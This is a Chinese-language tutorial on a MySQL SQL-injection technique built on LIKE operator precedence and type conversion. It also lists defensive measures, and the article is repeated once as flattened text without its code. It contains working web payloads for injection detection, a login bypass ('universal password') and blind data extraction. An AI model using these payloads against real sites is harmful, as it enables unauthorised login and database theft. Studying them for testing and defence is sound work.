由一条like语句引发的SQL注入新玩法
字数 914 2025-08-19 12:41:56

SQL注入新技巧:基于LIKE语句的注入方法详解

0x01 前言

本文介绍了一种基于MySQL LIKE语句的新型SQL注入技术,该技术可以用于SQL注入检测、盲注以及构造"万能密码"等场景。这种技术利用了MySQL中LIKE运算符的优先级和类型转换特性。

0x02 技术原理

0x02.1 运算符优先级

在MySQL中,LIKE运算符的优先级高于=运算符,因此以下两条SQL语句是等价的:

SELECT * FROM admin WHERE name=1 LIKE 2;
SELECT * FROM admin WHERE name=(1 LIKE 2);

0x02.2 类型差异影响

整型字段情况

当字段类型为整型(int)时:

  • 当表达式为True时(1 LIKE 1),效果等同于id=1
  • 当表达式为False时(1 LIKE 2),效果等同于id=0

示例:

SELECT * FROM users WHERE id=1 LIKE 1;  -- 返回id=1的记录
SELECT * FROM users WHERE id=1 LIKE 2;  -- 返回空结果(因为id=0通常不存在)

字符串字段情况

当字段类型为字符串时:

  • 当表达式为True时,效果等同于or 1=0
  • 当表达式为False时,效果等同于or 1=1

示例:

SELECT * FROM users WHERE username=1 LIKE 2;  -- 相当于username=False or 1=1

0x03 其他应用技巧

列名存在性检测

SELECT * FROM users WHERE username=column_name LIKE 1;
  • 如果column_name存在,返回正常结果
  • 如果column_name不存在,会报错

排除特定项

SELECT * FROM users WHERE username=1 LIKE (id!=1);

可以用于排除特定ID的记录

0x04 实际应用场景

0x04.1 SQL注入检测

在整型参数中检测:

?id=1' LIKE 1#   -- 正常返回
?id=1' LIKE 0#   -- 返回空

在字符串参数中检测:

?username=admin' LIKE 1#   -- 返回空
?username=admin' LIKE 0#   -- 返回所有记录

0x04.2 构造万能密码

利用字符串字段的特性构造登录绕过:

username=' LIKE 0#   -- 任何密码都可登录
password=anything

或者:

username='+False#    -- 同样效果
password=anything

0x04.3 盲注利用

可以结合IF函数进行盲注:

1 LIKE (IF(USER() LIKE 'a%',1,2))

通过观察返回结果判断条件是否为真

0x05 技术细节与注意事项

  1. 隐式类型转换:MySQL在进行比较时会自动进行类型转换,字符串与数字比较时会将字符串转为浮点数

  2. 局限性

    • 字符串字段中使用时,类似or 1=1但不会匹配所有内容(如"1aaa"这样的内容不会被匹配)
    • 整型字段中使用时,只能检测是否存在特定ID的记录
  3. 防御措施

    • 使用参数化查询
    • 对用户输入进行严格过滤
    • 避免动态拼接SQL语句

0x06 总结

这种基于LIKE语句的SQL注入技术虽然不算全新,但提供了一些有趣的攻击向量,特别是在:

  • 快速检测SQL注入漏洞
  • 构造登录绕过("万能密码")
  • 进行盲注攻击

安全开发人员应当了解这种技术以更好地防御相关攻击。对于渗透测试人员,这提供了又一种检测和利用SQL注入的方法。

SQL注入新技巧:基于LIKE语句的注入方法详解 0x01 前言 本文介绍了一种基于MySQL LIKE语句的新型SQL注入技术,该技术可以用于SQL注入检测、盲注以及构造"万能密码"等场景。这种技术利用了MySQL中LIKE运算符的优先级和类型转换特性。 0x02 技术原理 0x02.1 运算符优先级 在MySQL中,LIKE运算符的优先级高于=运算符,因此以下两条SQL语句是等价的: 0x02.2 类型差异影响 整型字段情况 当字段类型为整型(int)时: 当表达式为True时(1 LIKE 1),效果等同于 id=1 当表达式为False时(1 LIKE 2),效果等同于 id=0 示例: 字符串字段情况 当字段类型为字符串时: 当表达式为True时,效果等同于 or 1=0 当表达式为False时,效果等同于 or 1=1 示例: 0x03 其他应用技巧 列名存在性检测 如果column_ name存在,返回正常结果 如果column_ name不存在,会报错 排除特定项 可以用于排除特定ID的记录 0x04 实际应用场景 0x04.1 SQL注入检测 在整型参数中检测: 在字符串参数中检测: 0x04.2 构造万能密码 利用字符串字段的特性构造登录绕过: 或者: 0x04.3 盲注利用 可以结合IF函数进行盲注: 通过观察返回结果判断条件是否为真 0x05 技术细节与注意事项 隐式类型转换 :MySQL在进行比较时会自动进行类型转换,字符串与数字比较时会将字符串转为浮点数 局限性 : 字符串字段中使用时,类似 or 1=1 但不会匹配所有内容(如"1aaa"这样的内容不会被匹配) 整型字段中使用时,只能检测是否存在特定ID的记录 防御措施 : 使用参数化查询 对用户输入进行严格过滤 避免动态拼接SQL语句 0x06 总结 这种基于LIKE语句的SQL注入技术虽然不算全新,但提供了一些有趣的攻击向量,特别是在: 快速检测SQL注入漏洞 构造登录绕过("万能密码") 进行盲注攻击 安全开发人员应当了解这种技术以更好地防御相关攻击。对于渗透测试人员,这提供了又一种检测和利用SQL注入的方法。